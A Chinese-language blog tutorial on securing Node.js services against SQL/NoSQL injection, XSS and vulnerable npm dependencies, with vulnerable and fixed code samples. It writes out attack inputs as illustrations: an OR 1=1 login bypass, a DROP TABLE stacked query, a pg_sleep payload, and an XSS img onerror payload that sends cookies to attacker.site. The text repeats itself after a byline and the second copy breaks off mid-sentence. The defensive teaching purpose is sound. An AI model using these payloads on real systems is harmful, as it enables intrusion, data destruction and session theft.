1. 先搞清楚你的 Node.js 应用到底在防谁很多人一提到“Node.js 安全”就想到 SQL 注入、XSS 这几个词但说实话大部分开发者对威胁的理解停留在“知道名字”的程度。我在帮团队做安全加固评审的时候经常问一个问题你觉得攻击者是怎么盯上你的大多数人答不上来。攻击者不太会专门挑 Node.js 下手他们挑的是“看起来容易搞定”的目标。扫端口、扫路径、翻 GitHub 上泄露的密钥、用爬虫找管理后台、拿自动化工具批量测注入点——这些都是常规操作。你的应用只要是暴露在公网上的 HTTP 服务就等于每天都在被人试探。安全的目的不是让系统不可攻破这本来就不现实而是让攻击成本高到对方放弃。Node.js 应用有它自己的特殊性。比如事件循环机制决定了阻塞操作不能乱写很多安全方案如果没考虑这点会在高并发场景下直接把服务拖垮。再比如 npm 生态里第三方包极多供应链攻击的风险比传统语言生态高得多。还有一个容易被忽略的点前后端分离架构下你保护的接口既要防外部攻击者也要防自己前端代码被反向利用。这篇内容面向的是那些已经在用 Express、Koa 这类框架做接口服务但没有系统梳理过安全配置的开发者。我会把 SQL 注入、XSS、依赖漏洞等常见威胁逐个拆开讲清楚攻击原理、防御手段的取舍以及我实际踩过的坑。复制粘贴能用的配置会给但更重要的是把背后的判断逻辑讲明白这样你换一个框架、换一个数据库也能用同一套思路去应对。2. SQL 注入不是拼个参数那么简单2.1 先理解攻击者是怎么把 SQL“骗”进去的SQL 注入的本质是程序把用户输入当成了 SQL 语句的一部分来执行。举个例子你写登录接口的时候图省事// 千万不要这么写这是反面教材 const sql SELECT * FROM users WHERE email ${email} AND password ${password}攻击者在邮箱栏里输入admin OR 11拼出来的 SQL 就变成了SELECT * FROM users WHERE email admin OR 11 AND password ...OR 11永远为真整条查询无条件通过直接以管理员身份登进去。更狠的是堆叠查询admin; DROP TABLE users; --如果你的数据库驱动允许多语句执行这行输入能把整张表删掉。这个原理看着简单但实际案例里出错的方式千奇百怪。最常见的不是登录接口而是搜索、排序、筛选这种“看着不敏感”的入口。搜索框里拼个LIKE条件、排序参数里拼个ORDER BY字段开发者最容易在这些地方放松警惕。我之前排查过一个项目它的排序功能是把前端传来的字段名直接拼进 SQLconst sql SELECT * FROM products ORDER BY ${req.query.sort} ${req.query.order}攻击者把sort参数传成1; SELECT pg_sleep(10); --虽然不一定能拖出数据但足以让数据库停摆——这是典型的“能打但没必要”的漏洞可一旦被利用就是生产事故。2.2 参数化查询为什么是首选方案参数化查询也叫预编译语句是目前防御 SQL 注入最可靠的手段。它的核心逻辑很简单SQL 语句的结构和参数值分开传输数据库先把 SQL 结构编译好再把参数当成纯数据绑定进去。用户输入无论长什么样都只是“一个值”永远不会变成 SQL 语法的一部分。以pg库操作为例const { Pool } require(pg) const pool new Pool({ connectionString: process.env.DATABASE_URL }) // 正确姿势参数化查询 const result await pool.query( SELECT * FROM users WHERE email $1 AND password_hash $2, [email, passwordHash] ) // 错误姿势字符串拼接 // const result await pool.query( // SELECT * FROM users WHERE email ${email} // )注意$1、$2这种占位符它是 PostgreSQL 的规范写法位置对应后面数组里的参数。mysql2用的是?占位const mysql require(mysql2/promise) const connection await mysql.createConnection({ host: process.env.DB_HOST, user: process.env.DB_USER, password: process.env.DB_PASSWORD, database: process.env.DB_NAME }) const [rows] await connection.execute( SELECT * FROM users WHERE email ?, [email] )这里有个细节mysql2的execute方法走的是预编译指令而query方法虽然也支持占位符但某些特殊场景下行为不完全一样。为了保证安全写参数化 SQL 时一律用execute是更稳妥的习惯。那参数化查询能不能覆盖所有场景不能。它解决的是“数据值”的注入问题但表名、列名、排序方向这种 SQL 结构碎片没办法参数化。碰到这种场景必须走白名单校验。2.3 结构碎片的白名单处理法排序字段、表名、列名这类动态拼 SQL 是参数化的盲区。我的处理原则是永远不要直接用用户输入拼这些而是让用户输入去匹配一个预先定义好的白名单字典。const SORTABLE_COLUMNS { newest: created_at, price_asc: price ASC, price_desc: price DESC, rating: rating DESC } // 用户传 sortprice_desc映射到固定字符串 const sortClause SORTABLE_COLUMNS[req.query.sort] || SORTABLE_COLUMNS.newest const sql SELECT id, name, price, rating FROM products WHERE category_id $1 ORDER BY ${sortClause} 输入没匹配到白名单就直接给默认值这比任何过滤、转义都干净。既然用户传什么根本不影响 SQL 结构注入就无从谈起。同理动态表名的场景可以用对象映射const TABLE_ALIASES { users: users, orders: orders, products: products } const tableName TABLE_ALIASES[req.params.resource] if (!tableName) { return res.status(400).json({ error: Invalid resource }) }2.4 ORM 框架的“安全错觉”用 Sequelize、TypeORM 或者 Prisma 确实能规避大部分手写 SQL 的注入风险因为 ORM 底层会自动处理参数绑定。但我在实际项目里见过一种让人头疼的写法团队为了跑复杂报表直接调用 ORM 的sequelize.query()方法传原生 SQL结果又回到拼接的老路。// Sequelize 原生查询很容易重新引入注入 const data await sequelize.query( SELECT * FROM orders WHERE user_id ${req.query.userId} )ORM 里的原生查询接口要用就必须遵循和裸驱动一样的规范使用replacements参数而不是模板字符串拼接。Sequelize 的写法是这样的const data await sequelize.query( SELECT * FROM orders WHERE user_id :userId, { replacements: { userId: req.query.userId }, type: QueryTypes.SELECT } )另外NoSQL 数据库也有类似问题。MongoDB 的查询如果直接接收用户传进来的对象攻击者可以用$ne、$gt这类操作符绕过条件// 危险直接把请求体当查询条件 const data await collection.find(req.query).toArray() // 安全只提取允许的字段 const { username } req.query const data await collection.find({ username }).toArray()一句话总结不管用什么数据库、什么 ORM所有“用户可控的输入最终进入查询逻辑”的路径都必须经过参数绑定或白名单映射。场景方案推荐程度普通 SQL 查询参数化查询 / 预编译语句首选排序、表名字段白名单字典映射必须ORM 业务操作使用 ORM 标准接口首选ORM 原生查询replacements 绑定参数必须NoSQL 查询字段白名单提取必须3. XSS 攻击输出的每一处都是防线3.1 XSS 的真正战场在渲染层XSS跨站脚本攻击的触发链路比 SQL 注入更长。攻击者在某个能写入内容的地方塞一段script标签管理员或其他用户访问页面时脚本被执行然后干偷 Cookie、篡改页面、跳钓鱼站点这些勾当。Node.js 做后端时开发者容易产生一种错觉我返回的是 JSON 数据前端框架会处理 XSS 的。这话一半对。React、Vue 这类框架默认确实会对文本插值做转义{{ userInput }}或者{userInput}渲染出来就是纯文本但问题出在那些“主动关闭转义”的地方——React 的dangerouslySetInnerHTML、Vue 的v-html这些接口是专门用来渲染 HTML 的。一旦业务需求是展示富文本内容公告、评论、文章开发者早晚会用到这些接口。XSS 的坑就在这里你给了用户“传 HTML”的权力就等于给了别人在你的页面上执行脚本的机会。我见过一个真实案例。某博客平台允许用户在评论区提交内容前端用v-html渲染评论。攻击者在评论里发了这么一段img srcx onerrorfetch(https://attacker.site/steal?cookiedocument.cookie)管理员打开后台看评论图片加载失败触发onerrorCookie 直接被泄露。后台管理员的 Cookie 值多大权限重置用户密码、修改站点配置全都干得出来。这就是存储型 XSS 的杀伤力——攻击代码不是临时拼在 URL 里的而是存在服务器上每次有人访问就被执行一次。3.2 输出编码与细节处理防御 XSS 最简单的原则是默认不信任任何用户输入渲染时先编码。编码要区分上下文HTML 标签内、属性内、JavaScript 字符串内需要不同的编码方式。Node.js 后端可以直接用escape-html这类库做 HTML 上下文编码const escapeHtml require(escape-html) // 用户输入: scriptalert(1)/script // 输出: lt;scriptgt;alert(1)lt;/scriptgt; const safeContent escapeHtml(userInput)一套完整的输出编码策略至少包括HTML 文本上下文转义、、、、HTML 属性上下文重点转义引号防止 onload...这种属性逃逸URL 上下文校验协议白名单仅允许 http/https防止javascript:伪协议CSS 上下文禁止用户输入控制url()、expression()等危险函数前端如果绕不开v-html或dangerouslySetInnerHTML唯一的补救措施是净化而不是编码。净化是把用户输入里所有可能执行脚本的标签、属性、事件处理器全部剔除保留安全的 HTML 标签。DOMPurify是这方面用得最多的库import DOMPurify from dompurify const cleanHtml DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [p, br, strong, em, ul, ol, li, a, img], ALLOWED_ATTR: [href, src, alt, title, target] })注意一个容易被忽略的配置允许了a标签就要校验href的内容img标签的src也要防javascript:协议。DOMPurify 默认能处理一部分但配合服务端再做一次协议白名单校验更稳。3.3 CSP给浏览器上一道紧箍咒输出编码负责把攻击者的脚本变成无害文本但万一有漏网之鱼呢CSP内容安全策略就是兜底方案。它的思路是告诉浏览器这个页面只能从哪些源加载脚本、样式、图片等资源其他的一律拦截。攻击者就算把script注入进去了浏览器看到来源不在白名单内直接拒绝执行。Node.js 里通过helmet中间件可以快速配置基础 CSPconst express require(express) const helmet require(helmet) const app express() app.use( helmet.contentSecurityPolicy({ useDefaults: true, directives: { default-src: [self], script-src: [self, nonce-随机值], style-src: [self, https://fonts.googleapis.com], img-src: [self, data:], frame-ancestors: [self] } }) )配置 CSP 有个实际痛点如果前端用了内联脚本或者内联样式默认策略会全部拦截表现为“页面白屏但控制台报错”。所以很多团队干脆不开 CSP因为调起来太麻烦。我的建议是先用最宽松的策略上线日志监控统计被拦截的流量再逐步收紧。具体配置可以直接用helmet它会设置一组合理的默认值再按项目需要覆盖几个核心指令就行。CSP 里容易踩的坑是script-src里的unsafe-inline。有些项目为了省事直接放行内联脚本这等于放弃了 CSP 对 XSS 最重要的防护维度。如果确实需要内联脚本用 nonce 机制精准确认哪一段内联脚本是可信的比全部放开安全得多。4. 容易被忽略的防线依赖、请求层与敏感数据4.1 无差别排查npm 依赖的安全体检Node.js 项目里第三方依赖的安全问题甚至比业务代码更突出。一个中等规模项目动辄几百上千个 npm 包你不可能逐个审查源码。攻击者也清楚这一点于是有了供应链攻击往一个下载量高的包里注入恶意代码或者利用开发者疏忽长期维护被攻破的账号发布带毒版本。我见过一个团队被内部安全扫描通报项目里某个工具库的版本存在已知 RCE远程代码执行漏洞攻击者可以利用它上传任意文件。修复方式简单得离谱——升一个版本但因为没人关注这个事这个漏洞在项目里躺了半年。最基本的日常巡检就是npm auditnpm audit npm audit fixnpm audit会把依赖树和安全公告数据库比对报告每个漏洞的级别、影响的版本范围、修复建议。npm audit fix能自动升级到修复版本的就升升不了的会提示需要手动处理。这些命令不完美的地方在于它只能发现已知漏洞而且有些修复升级会把依赖的版本大跨度跳级半夜被线上兼容性问题叫醒的经历我也有过。所以 CI 里加一道门槛是更务实的做法让构建直接拦截高危漏洞npm audit --audit-levelhigh结合我自己的经验还有几个动作很重要锁版本package-lock.json必须提交到代码库保证开发和线上依赖完全一致留心安装日志npm install时留意包是否出现了新的postinstall脚本很多供应链攻击靠这个阶段执行恶意代码定期全量走查每个月跑一次npm outdated和npm audit把问题消灭在早期4.2 请求层防护限流、Cookie 与会话安全接口被刷爆这事很多 Node.js 开发者都有共鸣尤其是短信接口、登录接口、查询接口。攻击者用脚本高频调用轻则消耗数据库连接重则把服务器带宽占满。express-rate-limit可以快速加一层基础防护const rateLimit require(express-rate-limit) const loginLimiter rateLimit({ windowMs: 15 * 60 * 1000, // 15分钟窗口 max: 20, // 同一IP最多20次 standardHeaders: true, message: { error: 请求过于频繁请稍后再试 } }) app.post(/api/login, loginLimiter, loginHandler)限流不能区分正常用户和攻击者它的作用是降低攻击效率。更精细的做法是给每个账号加上单位时间内的操作次数上限而限流只是第一道闸门防止单点过载。会话安全同样不能放松。很多应用用 JWT 做认证JWT 是无状态的一旦签发就无法在服务端主动失效除非引入黑名单机制所以 Cookie 的存储属性必须严格res.cookie(token, token, { httpOnly: true, // 禁止脚本读取防 XSS 偷 Cookie secure: true, // 仅 HTTPS 传输 sameSite: lax, // 防止 CSRF maxAge: 3600 * 1000 })httpOnly这个属性对 XSS 的防范意义很大。就算攻击者成功注入脚本document.cookie也读不到这个 Cookie他偷走的就只是一个无效的字符串。JWT 本身建议放在内存或 localStorage但放 Cookie httpOnly能同时防住 XSS 和 CSRF 的一部分风险属于易实施收益高的配置。4.3 安全响应头与敏感数据保护浏览器本身提供了一系列安全机制但它们默认不是全部开启的需要服务端显式告知。除了 CSP还有几个响应头值得关注响应头作用推荐值X-Content-Type-Options禁止 MIME 嗅探nosniffX-Frame-Options防止点击劫持DENY或SAMEORIGINStrict-Transport-Security强制 HTTPSmax-age31536000Referrer-Policy控制来源信息泄露no-referrer-when-downgradePermissions-Policy限制浏览器特性按需配置在 Express 里直接用helmet一条命令全配好const helmet require(helmet) app.use(helmet())敏感数据保护这块“加密存储”是个高频词但很多项目的实际做法并不到位。密码必须用哈希算法而且必须加盐。bcrypt是 Node.js 社区最常用的选择const bcrypt require(bcrypt) const saltRounds 10 const hash await bcrypt.hash(plainPassword, saltRounds) const isValid await bcrypt.compare(plainPassword, hash)saltRounds设为 10 是性能和安全性的平衡点太高会让登录接口在高并发下响应变慢太低又扛不住暴力破解。如果预算允许argon2比bcrypt更抗 GPU 攻击但兼容性稍微差一点。数据库连接配置、第三方 API 密钥这类敏感信息永远不能写进代码仓库。用环境变量 配置文件模板的方式管理# .env.example — 提交到仓库只存占位符 DB_HOSTlocalhost DB_USERyour_user DB_PASSWORDyour_password JWT_SECRETchange_me实际值放在.env文件并加入.gitignore部署时由 CI/CD 系统注入真实值。这里要特别提醒.gitignore里明明写了.env但总有同事手滑用git add .把它带上仓库。补救措施是在 CI 里加一个“检测真实密钥是否提交”的脚本发现就阻断构建。5. 踩坑实录常见问题的排查与处置5.1 警惕 ORM 的延期查询与误用用 Sequelize 时习惯通过findAll的方式操作数据配合过滤条件安全性一般有保障。但如果直接在where里传用户输入的对象// 危险示例 const data await User.findAll({ where: req.query // 用户可控整个对象 })攻击者可以传?email[eq]adminexample.com这样结构化参数绕过原本的查询限制。正确做法是明确列出允许查询的字段并用Op操作符白名单限制比较方式。这类问题不是框架的漏洞而是使用方式的问题。排查时先确认所有用户可控参数进 ORM 前有没有经过字段白名单。5.2 生产环境“什么都对但就是 502”的修复现场有次我处理一个生产事故某服务在流量高峰突然大面积 502重启后恢复过几分钟又挂。排查发现是有个接口把req.body原样传给了数据库查询某个攻击者用脚本高频发送特殊格式的参数触发了一个代价极高的查询路径把连接池直接耗尽。当时联调时接口都是正常数据压力完全没上去。修复方案分两步第一步把“请求体直接传数据库”改成字段白名单 参数化查询第二步在网关层把那类特殊格式的请求限流。这个案例说明性能问题和安全问题经常交织在一起用户可控参数如果没有严格校验既可能被注入攻击利用也可能成为性能瓶颈的替罪羊。5.3 安全加固的优先级别平均用力安全投入最容易犯的错是平均用力什么都想配最后什么都没配透。结合实际事故率我的建议排序是这样的第一优先级是注入类风险。SQL 注入、NoSQL 注入利用成本低、自动化工具一堆必须从代码层面杜绝拼接写法强制参数化。第二是认证与会话安全。弱口令、泄露的 JWT 密钥、不带httpOnly的 Cookie这些都是“一破就是全网”的洞。可以先从禁用弱密码、强制 HTTPS、Cookie 安全属性三件事入手。第三是 XSS 与输出编码。如果应用有用户生成内容的场景优先上 DOMPurify CSP同时培训前端同事别在v-html里放未净化的内容。第四是依赖漏洞。保持npm audit的巡检习惯高危漏洞必须在排期内升级修复中低危每季度集中处理一次。不用苛求一次性把全部防护配齐但要确保每一步的取舍是经过了思考的。“这个字段要不要做白名单”“这段 HTML 要不要净化”——如果你能对每一个选择说出理由这套防御体系才算真正建立起来了。我在实际项目里最深的一个体会是安全配置并不是越复杂越好而是越清晰越好。能把“用户输入从哪里来、经过哪些校验、去到哪里”这条链路摸清楚比照搬十篇安全教程都管用。另一个小技巧是定期做自测写几个包含script、 OR 11--这类字符串的测试用例打到自己接口上看看行为是否符合预期。测通了自己心里有底上线也踏实。 
长河君 · 2026/10/16 6:22:07 · 阅读 1.2k Node.js 安全加固实战：SQL注入、XSS与依赖漏洞防护
1. 先搞清楚你的 Node.js 应用到底在防谁很多人一提到“Node.js 安全”就想到 SQL 注入、XSS 这几个词但说实话大部分开发者对威胁的理解停留在“知道名字”的程度。我在帮团队做安全加固评审的时候经常问一个问题你觉得攻击者是怎么盯上你的大多数人答不上来。攻击者不太会专门挑 Node.js 下手他们挑的是“看起来容易搞定”的目标。扫端口、扫路径、翻 GitHub 上泄露的密钥、用爬虫找管理后台、拿自动化工具批量测注入点——这些都是常规操作。你的应用只要是暴露在公网上的 HTTP 服务就等于每天都在被人试探。安全的目的不是让系统不可攻破这本来就不现实而是让攻击成本高到对方放弃。Node.js 应用有它自己的特殊性。比如事件循环机制决定了阻塞操作不能乱写很多安全方案如果没考虑这点会在高并发场景下直接把服务拖垮。再比如 npm 生态里第三方包极多供应链攻击的风险比传统语言生态高得多。还有一个容易被忽略的点前后端分离架构下你保护的接口既要防外部攻击者也要防自己前端代码被反向利用。这篇内容面向的是那些已经在用 Express、Koa 这类框架做接口服务但没有系统梳理过安全配置的开发者。我会把 SQL 注入、XSS、依赖漏洞等常见威胁逐个拆开讲清楚攻击原理、防御手段的取舍以及我实际踩过的坑。复制粘贴能用的配置会给但更重要的是把背后的判断逻辑讲明白这样你换一个框架、换一个数据库也能用同一套思路去应对。2. SQL 注入不是拼个参数那么简单2.1 先理解攻击者是怎么把 SQL“骗”进去的SQL 注入的本质是程序把用户输入当成了 SQL 语句的一部分来执行。举个例子你写登录接口的时候图省事// 千万不要这么写这是反面教材 const sql SELECT * FROM users WHERE email ${email} AND password ${password}攻击者在邮箱栏里输入admin OR 11拼出来的 SQL 就变成了SELECT * FROM users WHERE email admin OR 11 AND password ...OR 11永远为真整条查询无条件通过直接以管理员身份登进去。更狠的是堆叠查询admin; DROP TABLE users; --如果你的数据库驱动允许多语句执行这行输入能把整张表删掉。这个原理看着简单但实际案例里出错的方式千奇百怪。最常见的不是登录接口而是搜索、排序、筛选这种“看着不敏感”的入口。搜索框里拼个LIKE条件、排序参数里拼个ORDER BY字段开发者最容易在这些地方放松警惕。我之前排查过一个项目它的排序功能是把前端传来的字段名直接拼进 SQLconst sql SELECT * FROM products ORDER BY ${req.query.sort} ${req.query.order}攻击者把sort参数传成1; SELECT pg_sleep(10); --虽然不一定能拖出数据但足以让数据库停摆——这是典型的“能打但没必要”的漏洞可一旦被利用就是生产事故。2.2 参数化查询为什么是首选方案参数化查询也叫预编译语句是目前防御 SQL 注入最可靠的手段。它的核心逻辑很简单SQL 语句的结构和参数值分开传输数据库先把 SQL 结构编译好再把参数当成纯数据绑定进去。用户输入无论长什么样都只是“一个值”永远不会变成 SQL 语法的一部分。以pg库操作为例const { Pool } require(pg) const pool new Pool({ connectionString: process.env.DATABASE_URL }) // 正确姿势参数化查询 const result await pool.query( SELECT * FROM users WHERE email $1 AND password_hash $2, [email, passwordHash] ) // 错误姿势字符串拼接 // const result await pool.query( // SELECT * FROM users WHERE email ${email} // )注意$1、$2这种占位符它是 PostgreSQL 的规范写法位置对应后面数组里的参数。mysql2用的是?占位const mysql require(mysql2/promise) const connection await mysql.createConnection({ host: process.env.DB_HOST, user: process.env.DB_USER, password: process.env.DB_PASSWORD, database: process.env.DB_NAME }) const [rows] await connection.execute( SELECT * FROM users WHERE email ?, [email] )这里有个细节mysql2的execute方法走的是预编译指令而query方法虽然也支持占位符但某些特殊场景下行为不完全一样。为了保证安全写参数化 SQL 时一律用execute是更稳妥的习惯。那参数化查询能不能覆盖所有场景不能。它解决的是“数据值”的注入问题但表名、列名、排序方向这种 SQL 结构碎片没办法参数化。碰到这种场景必须走白名单校验。2.3 结构碎片的白名单处理法排序字段、表名、列名这类动态拼 SQL 是参数化的盲区。我的处理原则是永远不要直接用用户输入拼这些而是让用户输入去匹配一个预先定义好的白名单字典。const SORTABLE_COLUMNS { newest: created_at, price_asc: price ASC, price_desc: price DESC, rating: rating DESC } // 用户传 sortprice_desc映射到固定字符串 const sortClause SORTABLE_COLUMNS[req.query.sort] || SORTABLE_COLUMNS.newest const sql SELECT id, name, price, rating FROM products WHERE category_id $1 ORDER BY ${sortClause} 输入没匹配到白名单就直接给默认值这比任何过滤、转义都干净。既然用户传什么根本不影响 SQL 结构注入就无从谈起。同理动态表名的场景可以用对象映射const TABLE_ALIASES { users: users, orders: orders, products: products } const tableName TABLE_ALIASES[req.params.resource] if (!tableName) { return res.status(400).json({ error: Invalid resource }) }2.4 ORM 框架的“安全错觉”用 Sequelize、TypeORM 或者 Prisma 确实能规避大部分手写 SQL 的注入风险因为 ORM 底层会自动处理参数绑定。但我在实际项目里见过一种让人头疼的写法团队为了跑复杂报表直接调用 ORM 的sequelize.query()方法传原生 SQL结果又回到拼接的老路。// Sequelize 原生查询很容易重新引入注入 const data await sequelize.query( SELECT * FROM orders WHERE user_id ${req.query.userId} )ORM 里的原生查询接口要用就必须遵循和裸驱动一样的规范使用replacements参数而不是模板字符串拼接。Sequelize 的写法是这样的const data await sequelize.query( SELECT * FROM orders WHERE user_id :userId, { replacements: { userId: req.query.userId }, type: QueryTypes.SELECT } )另外NoSQL 数据库也有类似问题。MongoDB 的查询如果直接接收用户传进来的对象攻击者可以用$ne、$gt这类操作符绕过条件// 危险直接把请求体当查询条件 const data await collection.find(req.query).toArray() // 安全只提取允许的字段 const { username } req.query const data await collection.find({ username }).toArray()一句话总结不管用什么数据库、什么 ORM所有“用户可控的输入最终进入查询逻辑”的路径都必须经过参数绑定或白名单映射。场景方案推荐程度普通 SQL 查询参数化查询 / 预编译语句首选排序、表名字段白名单字典映射必须ORM 业务操作使用 ORM 标准接口首选ORM 原生查询replacements 绑定参数必须NoSQL 查询字段白名单提取必须3. XSS 攻击输出的每一处都是防线3.1 XSS 的真正战场在渲染层XSS跨站脚本攻击的触发链路比 SQL 注入更长。攻击者在某个能写入内容的地方塞一段script标签管理员或其他用户访问页面时脚本被执行然后干偷 Cookie、篡改页面、跳钓鱼站点这些勾当。Node.js 做后端时开发者容易产生一种错觉我返回的是 JSON 数据前端框架会处理 XSS 的。这话一半对。React、Vue 这类框架默认确实会对文本插值做转义{{ userInput }}或者{userInput}渲染出来就是纯文本但问题出在那些“主动关闭转义”的地方——React 的dangerouslySetInnerHTML、Vue 的v-html这些接口是专门用来渲染 HTML 的。一旦业务需求是展示富文本内容公告、评论、文章开发者早晚会用到这些接口。XSS 的坑就在这里你给了用户“传 HTML”的权力就等于给了别人在你的页面上执行脚本的机会。我见过一个真实案例。某博客平台允许用户在评论区提交内容前端用v-html渲染评论。攻击者在评论里发了这么一段img srcx onerrorfetch(https://attacker.site/steal?cookiedocument.cookie)管理员打开后台看评论图片加载失败触发onerrorCookie 直接被泄露。后台管理员的 Cookie 值多大权限重置用户密码、修改站点配置全都干得出来。这就是存储型 XSS 的杀伤力——攻击代码不是临时拼在 URL 里的而是存在服务器上每次有人访问就被执行一次。3.2 输出编码与细节处理防御 XSS 最简单的原则是默认不信任任何用户输入渲染时先编码。编码要区分上下文HTML 标签内、属性内、JavaScript 字符串内需要不同的编码方式。Node.js 后端可以直接用escape-html这类库做 HTML 上下文编码const escapeHtml require(escape-html) // 用户输入: scriptalert(1)/script // 输出: lt;scriptgt;alert(1)lt;/scriptgt; const safeContent escapeHtml(userInput)一套完整的输出编码策略至少包括HTML 文本上下文转义、、、、HTML 属性上下文重点转义引号防止 onload...这种属性逃逸URL 上下文校验协议白名单仅允许 http/https防止javascript:伪协议CSS 上下文禁止用户输入控制url()、expression()等危险函数前端如果绕不开v-html或dangerouslySetInnerHTML唯一的补救措施是净化而不是编码。净化是把用户输入里所有可能执行脚本的标签、属性、事件处理器全部剔除保留安全的 HTML 标签。DOMPurify是这方面用得最多的库import DOMPurify from dompurify const cleanHtml DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [p, br, strong, em, ul, ol, li, a, img], ALLOWED_ATTR: [href, src, alt, title, target] })注意一个容易被忽略的配置允许了a标签就要校验href的内容img标签的src也要防javascript:协议。DOMPurify 默认能处理一部分但配合服务端再做一次协议白名单校验更稳。3.3 CSP给浏览器上一道紧箍咒输出编码负责把攻击者的脚本变成无害文本但万一有漏网之鱼呢CSP内容安全策略就是兜底方案。它的思路是告诉浏览器这个页面只能从哪些源加载脚本、样式、图片等资源其他的一律拦截。攻击者就算把script注入进去了浏览器看到来源不在白名单内直接拒绝执行。Node.js 里通过helmet中间件可以快速配置基础 CSPconst express require(express) const helmet require(helmet) const app express() app.use( helmet.contentSecurityPolicy({ useDefaults: true, directives: { default-src: [self], script-src: [self, nonce-随机值], style-src: [self, https://fonts.googleapis.com], img-src: [self, data:], frame-ancestors: [self] } }) )配置 CSP 有个实际痛点如果前端用了内联脚本或者内联样式默认策略会全部拦截表现为“页面白屏但控制台报错”。所以很多团队干脆不开 CSP因为调起来太麻烦。我的建议是先用最宽松的策略上线日志监控统计被拦截的流量再逐步收紧。具体配置可以直接用helmet它会设置一组合理的默认值再按项目需要覆盖几个核心指令就行。CSP 里容易踩的坑是script-src里的unsafe-inline。有些项目为了省事直接放行内联脚本这等于放弃了 CSP 对 XSS 最重要的防护维度。如果确实需要内联脚本用 nonce 机制精准确认哪一段内联脚本是可信的比全部放开安全得多。4. 容易被忽略的防线依赖、请求层与敏感数据4.1 无差别排查npm 依赖的安全体检Node.js 项目里第三方依赖的安全问题甚至比业务代码更突出。一个中等规模项目动辄几百上千个 npm 包你不可能逐个审查源码。攻击者也清楚这一点于是有了供应链攻击往一个下载量高的包里注入恶意代码或者利用开发者疏忽长期维护被攻破的账号发布带毒版本。我见过一个团队被内部安全扫描通报项目里某个工具库的版本存在已知 RCE远程代码执行漏洞攻击者可以利用它上传任意文件。修复方式简单得离谱——升一个版本但因为没人关注这个事这个漏洞在项目里躺了半年。最基本的日常巡检就是npm auditnpm audit npm audit fixnpm audit会把依赖树和安全公告数据库比对报告每个漏洞的级别、影响的版本范围、修复建议。npm audit fix能自动升级到修复版本的就升升不了的会提示需要手动处理。这些命令不完美的地方在于它只能发现已知漏洞而且有些修复升级会把依赖的版本大跨度跳级半夜被线上兼容性问题叫醒的经历我也有过。所以 CI 里加一道门槛是更务实的做法让构建直接拦截高危漏洞npm audit --audit-levelhigh结合我自己的经验还有几个动作很重要锁版本package-lock.json必须提交到代码库保证开发和线上依赖完全一致留心安装日志npm install时留意包是否出现了新的postinstall脚本很多供应链攻击靠这个阶段执行恶意代码定期全量走查每个月跑一次npm outdated和npm audit把问题消灭在早期4.2 请求层防护限流、Cookie 与会话安全接口被刷爆这事很多 Node.js 开发者都有共鸣尤其是短信接口、登录接口、查询接口。攻击者用脚本高频调用轻则消耗数据库连接重则把服务器带宽占满。express-rate-limit可以快速加一层基础防护const rateLimit require(express-rate-limit) const loginLimiter rateLimit({ windowMs: 15 * 60 * 1000, // 15分钟窗口 max: 20, // 同一IP最多20次 standardHeaders: true, message: { error: 请求过于频繁请稍后再试 } }) app.post(/api/login, loginLimiter, loginHandler)限流不能区分正常用户和攻击者它的作用是降低攻击效率。更精细的做法是给每个账号加上单位时间内的操作次数上限而限流只是第一道闸门防止单点过载。会话安全同样不能放松。很多应用用 JWT 做认证JWT 是无状态的一旦签发就无法在服务端主动失效除非引入黑名单机制所以 Cookie 的存储属性必须严格res.cookie(token, token, { httpOnly: true, // 禁止脚本读取防 XSS 偷 Cookie secure: true, // 仅 HTTPS 传输 sameSite: lax, // 防止 CSRF maxAge: 3600 * 1000 })httpOnly这个属性对 XSS 的防范意义很大。就算攻击者成功注入脚本document.cookie也读不到这个 Cookie他偷走的就只是一个无效的字符串。JWT 本身建议放在内存或 localStorage但放 Cookie httpOnly能同时防住 XSS 和 CSRF 的一部分风险属于易实施收益高的配置。4.3 安全响应头与敏感数据保护浏览器本身提供了一系列安全机制但它们默认不是全部开启的需要服务端显式告知。除了 CSP还有几个响应头值得关注响应头作用推荐值X-Content-Type-Options禁止 MIME 嗅探nosniffX-Frame-Options防止点击劫持DENY或SAMEORIGINStrict-Transport-Security强制 HTTPSmax-age31536000Referrer-Policy控制来源信息泄露no-referrer-when-downgradePermissions-Policy限制浏览器特性按需配置在 Express 里直接用helmet一条命令全配好const helmet require(helmet) app.use(helmet())敏感数据保护这块“加密存储”是个高频词但很多项目的实际做法并不到位。密码必须用哈希算法而且必须加盐。bcrypt是 Node.js 社区最常用的选择const bcrypt require(bcrypt) const saltRounds 10 const hash await bcrypt.hash(plainPassword, saltRounds) const isValid await bcrypt.compare(plainPassword, hash)saltRounds设为 10 是性能和安全性的平衡点太高会让登录接口在高并发下响应变慢太低又扛不住暴力破解。如果预算允许argon2比bcrypt更抗 GPU 攻击但兼容性稍微差一点。数据库连接配置、第三方 API 密钥这类敏感信息永远不能写进代码仓库。用环境变量 配置文件模板的方式管理# .env.example — 提交到仓库只存占位符 DB_HOSTlocalhost DB_USERyour_user DB_PASSWORDyour_password JWT_SECRETchange_me实际值放在.env文件并加入.gitignore部署时由 CI/CD 系统注入真实值。这里要特别提醒.gitignore里明明写了.env但总有同事手滑用git add .把它带上仓库。补救措施是在 CI 里加一个“检测真实密钥是否提交”的脚本发现就阻断构建。5. 踩坑实录常见问题的排查与处置5.1 警惕 ORM 的延期查询与误用用 Sequelize 时习惯通过findAll的方式操作数据配合过滤条件安全性一般有保障。但如果直接在where里传用户输入的对象// 危险示例 const data await User.findAll({ where: req.query // 用户可控整个对象 })攻击者可以传?email[eq]adminexample.com这样结构化参数绕过原本的查询限制。正确做法是明确列出允许查询的字段并用Op操作符白名单限制比较方式。这类问题不是框架的漏洞而是使用方式的问题。排查时先确认所有用户可控参数进 ORM 前有没有经过字段白名单。5.2 生产环境“什么都对但就是 502”的修复现场有次我处理一个生产事故某服务在流量高峰突然大面积 502重启后恢复过几分钟又挂。排查发现是有个接口把req.body原样传给了数据库查询某个攻击者用脚本高频发送特殊格式的参数触发了一个代价极高的查询路径把连接池直接耗尽。当时联调时接口都是正常数据压力完全没上去。修复方案分两步第一步把“请求体直接传数据库”改成字段白名单 参数化查询第二步在网关层把那类特殊格式的请求限流。这个案例说明性能问题和安全问题经常交织在一起用户可控参数如果没有严格校验既可能被注入攻击利用也可能成为性能瓶颈的替罪羊。5.3 安全加固的优先级别平均用力安全投入最容易犯的错是平均用力什么都想配最后什么都没配透。结合实际事故率我的建议排序是这样的第一优先级是注入类风险。SQL 注入、NoSQL 